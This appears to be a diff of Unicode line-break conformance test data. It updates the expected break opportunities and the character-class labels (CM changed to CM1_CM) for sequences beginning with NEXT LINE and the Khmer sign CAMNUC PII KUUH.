-× 0085 ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0085 ÷ 0308 × 0025 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0085 ÷ 0024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] DOLLAR SIGN (PR) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 0024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0085 ÷ 0308 × 0024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0085 ÷ 0022 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] QUOTATION MARK (QU) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0022 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0085 ÷ 0308 × 0022 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0085 ÷ 0308 × 0022 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0085 ÷ 0020 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [0.3]
× 0085 ÷ 0020 × 0020 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0085 ÷ 002F ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SOLIDUS (SY) ÷ [0.3]
× 0085 ÷ 0020 × 002F ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0085 ÷ 0308 × 002F ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 002F ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0085 ÷ 0308 × 002F ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 002F ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0085 ÷ 2060 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] WORD JOINER (WJ) ÷ [0.3]
× 0085 ÷ 0020 × 2060 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0085 ÷ 0308 × 2060 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0085 ÷ 0308 × 2060 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0085 ÷ 200B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0085 ÷ 0020 × 200B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0085 ÷ 0308 × 200B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 × 200B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0085 ÷ 0308 × 200B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 × 200B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0085 ÷ 1F1E6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0085 ÷ 0020 ÷ 1F1E6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0085 ÷ 261D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0085 ÷ 0020 ÷ 261D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 261D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 261D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0085 ÷ 1F3FB ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0085 ÷ 0020 ÷ 1F3FB ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 1F3FB ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0085 ÷ 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0085 ÷ 0020 ÷ 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0085 ÷ 0308 × 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0085 ÷ 200D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0085 ÷ 0020 ÷ 200D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0085 ÷ 0308 × 200D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 200D ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0085 ÷ 00A7 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SECTION SIGN (AI_AL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 00A7 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0085 ÷ 0308 × 00A7 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0085 ÷ 0308 × 00A7 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0085 ÷ 50005 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <reserved-50005> (XX_AL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 50005 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0085 ÷ 0308 × 50005 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0085 ÷ 0308 × 50005 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0085 ÷ 0E01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0E01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0085 ÷ 0308 × 0E01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0085 ÷ 0308 × 0E01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0085 ÷ 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0085 ÷ 0020 ÷ 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0085 ÷ 0308 × 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0085 ÷ 0308 × 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 17D6 ÷ 0023 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 17D6 × 0020 ÷ 0023 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 17D6 × 0308 ÷ 0023 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 17D6 × 0308 ÷ 0023 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 17D6 ÷ 2014 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 17D6 × 0020 ÷ 2014 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 17D6 × 0308 ÷ 2014 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 17D6 × 0308 ÷ 2014 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 17D6 × 0009 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 17D6 × 0020 ÷ 0009 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 17D6 × 0308 × 0009 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 17D6 × 0308 × 0009 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 17D6 ÷ 00B4 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 17D6 × 0020 ÷ 00B4 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 17D6 × 0308 ÷ 00B4 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 17D6 × 0308 ÷ 00B4 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 17D6 × 000B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 17D6 × 0020 × 000B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 17D6 × 0308 × 000B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 000B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 17D6 × 0308 × 000B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 000B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 17D6 ÷ FFFC ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 17D6 × 0020 ÷ FFFC ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 17D6 × 0308 ÷ FFFC ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 17D6 × 0308 ÷ FFFC ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 17D6 × 007D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 17D6 × 0020 × 007D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 17D6 × 0308 × 007D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 007D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 17D6 × 0308 × 007D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 007D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 17D6 × 0029 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 17D6 × 0020 × 0029 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 17D6 × 0308 × 0029 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 0029 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 17D6 × 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 17D6 × 0020 ÷ 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 17D6 × 0308 × 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 17D6 × 0308 × 0029 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
